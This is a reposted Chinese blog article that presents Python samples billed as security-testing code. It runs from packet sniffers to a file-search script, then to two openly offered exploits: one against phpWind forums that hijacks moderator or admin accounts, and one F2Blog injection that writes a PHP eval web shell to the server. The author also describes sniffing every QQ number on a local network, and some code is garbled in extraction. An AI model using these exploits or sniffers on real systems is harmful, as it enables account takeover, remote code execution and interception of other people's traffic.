当前位置:七道奇文章资讯编程技术Delphi编程
日期:2012-03-27 00:21:00  来源:本站整理

Python帮助安全测试常用代码示例[Delphi编程]

赞助商链接



  本文“Python帮助安全测试常用代码示例[Delphi编程]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

  这些代码,大部份是从别处转来的.测试的时刻会对比有效.比方数据嗅探,发送恳求,正则表达式处理文件,注入测试等.

  实际中可以按照自己的项目,举行一定程度的扩大.代码是简便为主.这部份代码是侧重安全测试的.

  学习python已经3月了.感受非常有效.

  前些天,pm还让我写一个程序帮助他办公.

  近来发现很多公司也开始在自己的招聘职位上加上了python.

  关于python.功效说的太多没有效,我发一些例子.

  我也举荐大家有时间无妨学习一下.一天基本上便可以学会.

  外国非常风行.我的pm是德国人,他们国家仿佛是直接学习python,就像咱们学习c一样遍及.

  国外搞python开辟的人很多,公司也很多.国内的相对较少.

  我学习这个,是为了帮助工作和玩hack.平常用也很强盛.

  谷歌有个谷歌 app enginer,是个近似虚拟主机的服务.利用python开辟web利用.

  别的,谷歌本身是基于python的.

  大大都利用,都可以利用一个函数搞定,比方文件下载,发送恳求,解析网页,读写xml,文件压缩,爬虫搜索.

  这些利用绝大大都是跨平台的.可以在linux下运行.

  ironpyhon是一个组合.net平台和python的工具,他们正在研究若何操纵python把.net放在linux上运行.

  诺基亚的手机也开始支持python编程.

  java,.net 也开始供应python版本.

  下面举些例子,演示一下python的功效.

  1、数据嗅探,这个例子,是嗅探土豆网上的flash真正的播放地址.

  import pcap ,struct , re

  from pickle import dump,load

  pack=pcap.pcap()

  pack.setfilter('tcp port 80')

  regx=r'/[\w+|/]+.flv|/[\w+|/]+.swf'

  urls=[]

  hosts=[]

  print 'start capture....'

  for recv_time,recv_data in pack:

  urls=re.findall(regx,recv_data);

  if(len(urls)!=0):print urls;

  2、嗅探qq号码,前些天我还用它嗅探局域网里全部的qq那.惋惜没有辨认性别的功效.不过可以自己增添:

  # -*- coding: cp936 -*-

  import pcap ,struct

  pack=pcap.pcap()

  pack.setfilter('udp')

  key=''

  for recv_time,recv_data in pack:

  recv_len=len(recv_data)

  if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101]

  == chr(03):

  print struct.unpack('>I',recv_data[49:53])[0]

  elif recv_len == 55:

  print struct.unpack('>I',recv_data[49:53])[0]

  3、数据嗅探,项目中碰到,需求嗅探一些发送到特定端口的数据,于是花了几分钟写了一个程序.

  import pcap ,struct

  from pickle import dump,load

  pack=pcap.pcap()

  pack.setfilter('port 2425')

  f=open(r'/mm.txt','w+')

  print 'start capture....'

  for recv_time,recv_data in pack:

  print recv_time

  print recv_data

  f.write(recv_data)

  4、文件内容搜索,我发现windows的自带的搜索无法搜索内容.即便搜索到也不准.就自己写了一个:

  import os,string,re,sys

  class SevenFile:

  files=[]

  def FindContent(self,path):

  print 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'

  walks=os.walk(path)

  for walk in walks:

  for filename in walk[2]:

  if('.mht' == filename[-4:]):

  res_taskid=[]

  file=walk[0]+'\\'+filename

  f=open(file)

  content=f.read()

  pattern_taskid=re.compile(r'Stonehenge-UIVerificationChecklist\.mht',re.IGNORECASE) #

  res_taskid=pattern_taskid.findall(content)

  f.close()

  if len(res_taskid)>0:

  self.files.append(file)

  def run():

  f=SevenFile()

  f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")

  for filepath in f.files:

  print filepath

  print "OK"

  if __name__=="__main__":

  run()

  5、这个不是我写的,是一个网上的攻击phpwind论坛的一个代码:

  # -*- coding: gb2312 -*-

  import urllib2,httplib,sys

  httplib.HTTPConnection.debuglevel = 1

  cookies = urllib2.HTTPCookieProcessor()

  opener = urllib2.build_opener(cookies)

  def usage():

  print "Usage:\n"

  print " $ ./phpwind.py pwforumurl usertoattack\n"

  print " pwforumurl 目标论坛地址如http://www.80sec.com/"

  print " usertoattack 目标拥有权限的斑竹或管理员"

  print " 攻击后果将会在目标论坛注册一个和目标用户一样的帐户"

  print " 最新版本可以利用uid登陆"

  print " 其他版本可以利用cookie+useragent登陆"

  print "########################################################"

  print ""

  argvs=sys.argv

  usage()

  data = "regname=%s

  %s1®pwd=@80sec®pwdrepeat=@80sec®email=...@foo.com®emailtoall=1&step=2"

  % (argvs[2],"%c1")

  pwurl = "%s/register.php" % argvs[1]

  request = urllib2.Request(

  url = pwurl ,

  headers = {'Content-Type' : 'application/x-www-form-

  urlencoded','User-Agent': '80sec owned this'},

  data = data)

  f=opener.open(request)

  headers=f.headers.dict

  cookie=headers["set-cookie"]

  try:

  if cookie.index('winduser'):

  print "Exploit Success!"

  print "Login with uid password @80sec or Cookie:"

  print cookie

  print "User-agent: 80sec owned this"

  except:

  print "Error! http://www.80sec.com"

  print "Connect root#80sec.com"

  6、黑客注入攻击,针对指定网站的注入演示:

  #!c:\python24\pyton

  # Exploit For F2Blog All Version

  # Author BY MSN:pt...@vip.sina.com

  # Date: Jan 29 2007

  import sys

  import httplib

  from urlparse import urlparse

  from time import sleep

  def injection(realurl,path,evil): #url,/bk/,evilip

  cmd=""

  cookie=""

  header={'Accept':'*/*','Accept-Language':'zh-

  cn','Referer':'http://'+realurl[1]+path+'index.php','Content-

  Type':'application/x-www-form-urlencoded','User-

  Agent':useragent,'Host':realurl[1],'Content-length':len(cmd),

  'Connection':'Keep-Alive','X-Forwarded-

  For':evil,'Cookie':cookie}

  #cmd =

  "formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=

  %E6%8F%90+%C2%A0+%E4%BA%A4"

  #print header

  #print path

  #sys.exit(1)

  http = httplib.HTTPConnection(realurl[1])

  http.request("POST",path+"index.php",cmd, header)

  sleep(1)

  http1 = httplib.HTTPConnection(realurl[1])

  http1.request("GET",path+"cache/test11.php")

  response = http1.getresponse()

  re1 = response.read()

  #print re1

  print re1.find('test')

  if re1.find('test') ==0:

  print 'Expoilt Success!\n'

  print 'View Your shell:\t%s' %shell

  sys.exit(1);

  else:

  sys.stdout.write("Expoilt FALSE!")

  http.close()

  #sleep(1)

  #break

  sys.stdout.write("\n")

  def main ():

  print 'Exploit For F2Blog All Version'

  print 'Codz by pt...@vip.sina.com\n'

  if len(sys.argv) == 2:

  url = urlparse(sys.argv[1])

  if url[2:-1] != '/':

  u = url[2] + '/'

  else:

  u = url[2] #u=/bk/

  else:

  print "Usage: %s " % sys.argv[0]

  print "Example: %s http://127.0.0.1/bk" % sys.argv[0]

  sys.exit(0)

  print '[+] Connect %s' % url[1]

  print '[+] Trying...'

  print '[+] Plz wait a long long time...'

  global shell,useragent

  shell="http://"+url[1]+u+"cache/test11.php"

  query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'

  @eval_r($_REQUEST[c])?>test\')'

  query ='\'));'+query+';/*'

  evilip=query

  useragent=""

  cookie=""

  injection(url,u,evilip)

  evilip=""

  injection(url,u,evilip)

  print '[+] Finished'

  if __name__ == '__main__': main()

  7、黑客注入攻击,这是一个完好的access+asp注入工具.

  代码有点长,自己下载吧.

  http://www.xfocus.net/tools/200408/780.html

  国外还有更利害的python注入工具(sqlmap),支持目前基本上全部的数据库. MySQL, Oracle, PostgreSQL and Microsoft SQL
  以上是“Python帮助安全测试常用代码示例[Delphi编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:

  • Python Ubuntu 下的IDE挑选
  • Ubuntu 10.04安装stackless python
  • Python模拟Oracle的SQL/PLUS工具的实现办法
  • Python帮助安全测试常用代码示例
  • <b>LINUX下非交互加入root权限用户和改正密码的python小程序</b>
  • 在Windows Server 2008 (IIS7)中配置利用 Python 3.0[图文]
  • <b>C++扩大和嵌入Python</b>
  • 脚本系统:c++内嵌python
  • <b>RedHat EL5 布置Trac 编译Apache mod_python mod_ldap</b>
  • <b>CentOS系统更新Python</b>
  • 借助Oracle数据库实现Python数据长期性-PLSQL
  • <b>利用Oracle数据库实现Python数据长期-开辟技术</b>
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        33%(1)
    • 差的评价 如果您觉得此文章差,就请您
        67%(2)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .